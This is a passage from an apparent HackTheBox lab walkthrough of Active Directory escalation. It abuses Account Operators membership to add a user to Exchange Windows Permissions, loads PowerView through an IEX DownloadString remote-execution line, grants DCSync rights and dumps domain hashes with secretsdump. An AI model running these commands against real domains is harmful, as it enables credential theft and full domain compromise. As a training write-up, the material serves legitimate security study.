10. You can click on your node and run a query; I will run “Shortest Path from Kerberos users”

11. Click on the domain box at the top, to display a map based on the query type

12. In this example we see our user is part of the following groups


Note: Based on Microsoft account operators have the ability to add users (https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#:~:text=The%20Account%20Operators%20group%20grants,in%20locally%20to%20domain%20controllers.&text=Members%20of%20this%20group%20cannot%20modify%20user%20rights.)

The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including those of users, local groups, and global groups, and members can log in locally to domain controllers.

13. Knowing our user is part of account operators we can proceed to add a user to one of the existing groups. I will add it to “EXCHANGE WINDOWS PERMISSIONS”

  • net user vry4n Password1 /add /domain
  • net group "EXCHANGE WINDOWS PERMISSIONS" /add vry4n

14. If you right click the link between nodes and click Help you will find abusing recommendations


We will follow the Steps shown by the tool, we will use PowerSploit (PowerView.ps1) script

1. Download powersploit

  • git clone https://github.com/PowerShellMafia/PowerSploit.git
  • cd PowerSploit/Recon

2. Start a web server at the Linux machine where the script is located

  • python3.9 -m http.server 8888

3. From the windows machine connect to the web server

  • IEX(New-Object Net.WebClient).DownloadString('')

4. Now execute the following

  • $SecPassword = ConvertTo-SecureString 'Password1' -AsPlainText -Force
  • $Cred = New-Object System.Management.Automation.PSCredential('HTB\vry4n', $SecPassword)
  • Add-DomainObjectAcl -Credential $Cred -TargetIdentity ' DC=htb,DC=local' -PrincipalIdentity vry4n -Rights DCSync

5. Now that we added to DCSync we can try impaket secrets dump, we can get hashes

  • sudo secretsdump.py htb.local/vry4n:Password1@